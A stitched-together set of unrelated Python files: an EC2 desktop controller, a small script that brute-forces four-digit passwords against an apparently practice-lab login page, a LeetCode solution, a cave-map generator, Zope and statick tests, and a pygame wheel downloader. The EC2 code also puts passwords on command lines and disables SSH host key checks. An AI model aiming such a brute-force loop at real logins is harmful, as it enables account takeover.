        while self.i.state["Name"] != "running":
            print(".", end="")
            self.status.setText(self.i.state["Name"])
            time.sleep(2)
            self.i.reload()
        self.fn_status()

    def fn_apagar(self):
        self.i.stop()
        time.sleep(2)
        self.i.reload()
        self.status.setText(self.i.state["Name"])

    def fn_reset(self):
        functions.run_script(self.i,'reboot')

    def fn_set_type(self):
        if (self.i.state["Name"] == "stopped"):
            #print(self.instance_type.currentData())
            self.i.modify_attribute(Attribute='instanceType', Value=self.instance_type.currentData())
        self.fn_status()

    def launch_nx(self):
        global settings
        if settings.getParam('os') == 'Linux':
            file = functions.setNxXML(self.ip.text())
            params =  [
                '--session-conf={}'.format(file),
                '--sessionid=20181207145907927',
                '--no-menu',
                '--no-session-edit',
                '--tray-icon',
                '--clipboard=both',
                '--dpi=96',
                '--add-to-known-hosts']
            if platform.system() == 'Windows':
                subprocess.Popen(["C:\\Program Files (x86)\\x2goclient\\x2goclient.exe"]+params + ["--disable-pulse"])
            else:
                subprocess.Popen(["x2goclient"] + params)
            pass
        else:
            params = ["/v:"+self.ip.text()]
            subprocess.Popen(["mstsc"] + params)

    def launch_rstudio(self):
        QDesktopServices.openUrl(
            "http://" + self.ip.text() + ":8787/")

    def launch_jupyter(self):
        QDesktopServices.openUrl(
            "http://" + self.ip.text() + ":8000/")

    def launch_ssh(self):
        ip =  self.ip.text()
        user = settings.getParam('user')

        if platform.system() == 'Windows':
            subprocess.Popen( [functions.resource_path(os.path.join('files','putty.exe')), user + '@' + ip] )
        else:
            cmd = ' ssh  -o "StrictHostKeyChecking no" ' + user + '@' + ip + ' &'
            if shutil.which('sshpass') != None:
                cmd = "sshpass -p '{}' ".format(settings.getParam('ec2_passwd')) + cmd
            if shutil.which('konsole') != None:
                os.system('konsole -e ' + cmd)
            elif shutil.which('xfce4-terminal') != None:
                os.system('xfce4-terminal -x ' + cmd)
            elif shutil.which('gnome-terminal') != None:
                os.system('gnome-terminal ' + cmd)
            elif shutil.which('xterm') != None:
                os.system('xterm -e ' + cmd)

    def launch_sftp(self):
        ip =  self.ip.text()
        if settings.getParam("os") == "Windows":
            user = "Administrator"
        else:
            user = settings.getParam('user')

        if platform.system() == 'Windows':
            subprocess.Popen( ["winscp", user +':' + settings.getParam("ec2_passwd") + '@' + ip] )
        else:
            os.system( 'dolphin sftp://'+ user +':' + settings.getParam("ec2_passwd") + '@' + ip + ' &')


#-*- coding:utf-8 -*-
import requests
s = requests.Session()
payload = {
    'Cookie' : 'PHPSESSID=81997a6ae1920b6e4f8f2950e5618074',
    'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36',
}
url = 'http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/login.php'
for p in range(1000,10000):
    data = {
        'username':'admin',
        'pwd':p,
        'vcode':''
    }
    r = s.post(url,data=data,headers = payload)
    if 'error' in r.text:
        print(str(p) + 'wrong')
    else:
        print(str(p) + 'right')
        break


# -*- coding: utf-8 -*-
"""
Created on Thu Dec  7 21:17:59 2017

@author: YangLin
"""
class Programmer(object):
    def __new__(cls,*args,**kwargs):
        print('call __new__ method')
        print (args)
        return super(Programmer,cls).__new__(cls,*args,**kwargs)

    def __init__(self,name,age):
        self.name = name
        self._age = age

if __name__=='__main__':
    programmer = Programmer('Lryic',30)
    print(programmer.__dict__)
    print(programmer.name)


##############################################################################
#
# Copyright (c) 2007 Zope Foundation and Contributors.
# All Rights Reserved.
#
# This software is subject to the provisions of the Zope Public License,
# Version 2.1 (ZPL).  A copy of the ZPL should accompany this distribution.
# THIS SOFTWARE IS PROVIDED "AS IS" AND ANY AND ALL EXPRESS OR IMPLIED
# WARRANTIES ARE DISCLAIMED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF TITLE, MERCHANTABILITY, AGAINST INFRINGEMENT, AND FITNESS
# FOR A PARTICULAR PURPOSE.
#
##############################################################################
"""
$Id$
"""

import unittest
import zope.component
from zope.app.testing import ztapi
from zope.app.testing.placelesssetup import PlacelessSetup

from zope.annotation.attribute import AttributeAnnotations
from zope.publisher.interfaces import NotFound
from zope.publisher.http import HTTPCharsets
from zope.publisher.browser import TestRequest

from z3c.resource import adapter
from z3c.resource import testing
from z3c.resource.browser.views import Resources

class Test(PlacelessSetup, unittest.TestCase):

    def setUp(self):
        super(Test, self).setUp()
        zope.component.provideAdapter(HTTPCharsets)
        zope.component.provideAdapter(AttributeAnnotations)
        zope.component.provideAdapter(adapter.getResource)

    def test_publishTraverse(self):

        request = TestRequest()

        class ResourceItem(testing.TestResourceItem):
            def __init__(self, request): pass
            def __call__(self): return 42

        ztapi.browserResource('test', ResourceItem)
        content = testing.Content()
        view = Resources(content, request)
        result = view.publishTraverse(request, 'test')
        self.assertEqual(result(), 42)

    def test_getitem(self):
        request = TestRequest()

        class ResourceItem(testing.TestResourceItem):
            def __init__(self, request): pass
            def __call__(self): return 42

        ztapi.browserResource('test', ResourceItem)
        content = testing.Content()
        view = Resources(content, request)
        result = view['test']
        self.assertEqual(result(), 42)

    def testNotFound(self):
        request = TestRequest()
        content = testing.Content()
        view = Resources(content, request)
        self.assertRaises(NotFound,
                          view.publishTraverse,
                          request, 'test'
                          )

def test_suite():
    return unittest.makeSuite(Test)

if __name__=='__main__':
    unittest.main(defaultTest='test_suite')


## 897. Increasing Order Search Tree

# Example 1:
# Input: root = [5,3,6,2,4,null,8,1,null,null,null,7,9]
# Output: [1,null,2,null,3,null,4,null,5,null,6,null,7,null,8,null,9]

# Example 2:
# Input: root = [5,1,7]
# Output: [1,null,5,null,7]

# Definition for a binary tree node.
# class TreeNode:
#     def __init__(self, val=0, left=None, right=None):
#         self.val = val
#         self.left = left
#         self.right = right
class Solution:
    def increasingBST(self, root: TreeNode) -> TreeNode:

        self.result = []

        def helper(node):
            if not node:
                return

            helper(node.left)
            self.result.append(node.val)
            helper(node.right)

        helper(root)
        #print(self.result)

        root = TreeNode(self.result.pop(0))
        curr = root
        while self.result:
            curr.right = TreeNode(self.result.pop(0))
            curr = curr.right

        return root


import random

def getNeighbors(grid, row, col, num=1):
    """Returns a count of all surrounding neighbors that are == to num argument. 8 possible neighbors"""

    count = 0
    if grid[row - 1][col] == num:  # left
        count += 1
    if grid[row + 1][col] == num:  # right
        count += 1
    if grid[row][col - 1] == num:  # up
        count += 1
    if grid[row][col + 1] == num:  # down
        count += 1

    if grid[row - 1][col - 1] == num:  # left up
        count += 1
    if grid[row + 1][col - 1] == num:  # right up
        count += 1
    if grid[row - 1][col + 1] == num:  # left down
        count += 1
    if grid[row + 1][col + 1] == num:  # right down
        count += 1

    if count > 4:
        grid[row][col] = num

def smooth(grid, num=1, check=0):
    """Smooths out grid. Checks each specified check # and decides whether to change it to the num
       argument if it doesn't have the required number of neighbors"""
    for i in range(1, len(grid) - 1):
        for j in range(1, len(grid[i]) - 1):
            if grid[i][j] == check:
                getNeighbors(grid, i, j, num)

    return grid

def genMapFromSeed(rows, columns, seed="seed", fillrate=55):
    """Generates a grid from a random seed, can specify rows, columns, seed, fill rate"""
    grid = [[] for _ in range(columns)]

    random.seed(seed)

    # Fills grid with a 1 or 0 based on assigned fill rate
    [[(i.append(1)) if ((random.randint(0, 100)) < fillrate) else (i.append(0)) for _ in range(rows)] for i in grid]

    for i in range(rows):
        # Fill top and bottom rows
        grid[0][i] = 1
        grid[len(grid) - 2][i] = 1

    for i in range(columns):
        grid[i][0] = 1
        grid[i][len(grid[0]) - 1] = 1

    return grid

def generateMap(grid):
    """Runs the smooth operations"""

    changes = 0

    while changes < 6:
        grid = smooth(grid)
        grid = smooth(grid, 0, 1)
        changes += 1

    return grid

def display(grid):
    """Takes a grid and displays it replacing 0's with # and 1's with ."""
    for r in grid:
        ts = ""  # String for each row in the grid
        for i in r:
            ts += str(i) + " "
        ts = ts.replace("0", "#")
        ts = ts.replace("1", ".")
        print(ts)

def getMap(rows, columns, seed="rand", fillrate=55):
    seedmap = genMapFromSeed(rows, columns, seed, fillrate)
    grid = generateMap(seedmap)
    grid = [j for sub in grid for j in sub]

    return grid


import re

regex = r"(?:(?:^|\s)roles:(\S+))+"

test_str = "openid profile Jan en roles:wer jee roles:test some other roles:three roles:"

matches = re.findall(regex, test_str, re.MULTILINE)

if matches:
    print('%s matches' % len(matches) )
    for matchNum, match in enumerate(matches, start=1):
        print(match)
else:
    print('no matches')

test_str = "openid profile"
matches = re.findall(regex, test_str, re.MULTILINE)

if matches:
    print('%s matches' % len(matches) )
    for matchNum, match in enumerate(matches, start=1):
        print(match)
else:
    print('no matches')
print('done')

    # print("Match {matchNum} was found at {start}-{end}: {match}".format(matchNum=matchNum, start=match.start(),
    #                                                                     end=match.end(), match=match.group()))
    #
    # for groupNum in range(0, len(match.groups())):
    #     groupNum = groupNum + 1
    #
    #     print("Group {groupNum} found at {start}-{end}: {group}".format(groupNum=groupNum, start=match.start(groupNum),
    #                                                                     end=match.end(groupNum),
    #                                                                     group=match.group(groupNum)))

def match_roles(scope):
    return re.findall(regex, scope, re.MULTILINE)

def generate_user_info(user, scope, ):
    scope_roles = match_roles(scope)
    if scope_roles:
        roles = dict()
        for role in scope_roles:
            user_role = UserRole.query.join(OAuth2Client) \
                .filter(UserRole.user == user, OAuth2Client.client_tag == role) \
                .first()
            roles[role] = user_role.client_roles.split() if user_role else []
        user_info['roles'] = roles
    return user_info


# Each link should point to a wheel for this version of the module
# This script should be run from the pygame_loader folder

import subprocess

links = {
    'pygame_mac_36': '',
    'pygame_mac_36': '',
    'pygame_mac_37': '',
    'pygame_mac_38': '',
    'pygame_mac_39': '',
    'pygame_mac_310': 'https://files.pythonhosted.org/packages/7b/42/39f655a232b92936b23fc1c801b8ed8a64cad644ad82616754402ec3d495/pygame-2.0.3-cp310-cp310-macosx_10_9_x86_64.whl',
    'pygame_win_32_35': '',
    'pygame_win_32_36': '',
    'pygame_win_32_37': '',
    'pygame_win_32_38': '',
    'pygame_win_32_39': '',
    'pygame_win_32_310': 'https://files.pythonhosted.org/packages/cf/10/c30f258bd56b4d3c221e735ef1eb050910259fae708ee259e58427a4d9ba/pygame-2.0.3-cp310-cp310-win32.whl',
    'pygame_win_64_35': '',
    'pygame_win_64_36': '',
    'pygame_win_64_37': '',
    'pygame_win_64_38': '',
    'pygame_win_64_39': '',
    'pygame_win_64_310': 'https://files.pythonhosted.org/packages/5e/9b/e91f2ef1a843be0b75a8660037fd0562fb38b41018fc0d08adb204a575b3/pygame-2.0.3-cp310-cp310-win_amd64.whl',
}

def run_command(args):
    subprocess.Popen(args).wait()

def make_module(module_name):
    link = links[module_name]
    filename = link.split('/')[-1]

    run_command(['wget', link])
    run_command(['mv', filename, 'pygame.zip'])
    run_command(['mkdir', 'pygame'])
    run_command(['unzip', 'pygame.zip', '-d', 'pygame'])
    run_command(['mv', 'pygame/pygame', f'modules/{module_name}'])
    run_command(['rm', '-rf', 'pygame'])
    run_command(['rm', 'pygame.zip'])

for module in links:
    if links[module]:
        make_module(module)


"""Unit tests for the Perl discovery plugin."""
import os

from yapsy.PluginManager import PluginManager

import statick_tool
from statick_tool.discovery_plugin import DiscoveryPlugin
from statick_tool.package import Package
from statick_tool.plugins.discovery.perl_discovery_plugin import \
    PerlDiscoveryPlugin

def test_perl_discovery_plugin_found():
    """Test that the plugin manager finds the Perl discovery plugin."""
    manager = PluginManager()
    # Get the path to statick_tool/__init__.py, get the directory part, and
    # add 'plugins' to that to get the standard plugins dir
    manager.setPluginPlaces([os.path.join(os.path.dirname(statick_tool.__file__),
                                          'plugins')])
    manager.setCategoriesFilter({
        "Discovery": DiscoveryPlugin,
    })
    manager.collectPlugins()
    # Verify that a plugin's get_name() function returns "perl"
    assert any(plugin_info.plugin_object.get_name() == 'perl' for
               plugin_info in manager.getPluginsOfCategory("Discovery"))
    # While we're at it, verify that a plugin is named Perl Discovery Plugin
    assert any(plugin_info.name == 'Perl Discovery Plugin' for
               plugin_info in manager.getPluginsOfCategory("Discovery"))

def test_perl_discovery_plugin_scan_valid():
    """Test that the Perl discovery plugin finds valid perl files."""
    pldp = PerlDiscoveryPlugin()
    package = Package('valid_package', os.path.join(os.path.dirname(__file__),
                                                    'valid_package'))
    pldp.scan(package, 'level', None)
    expected = ['test.pl']
    if pldp.file_command_exists():
        expected += ['oddextensionpl.source']
    # We have to add the path to each of the above...yuck
    expected_fullpath = [os.path.join(package.path, filename)
                         for filename in expected]
    # Neat trick to verify that two unordered lists are the same
    assert set(package['perl_src']) == set(expected_fullpath)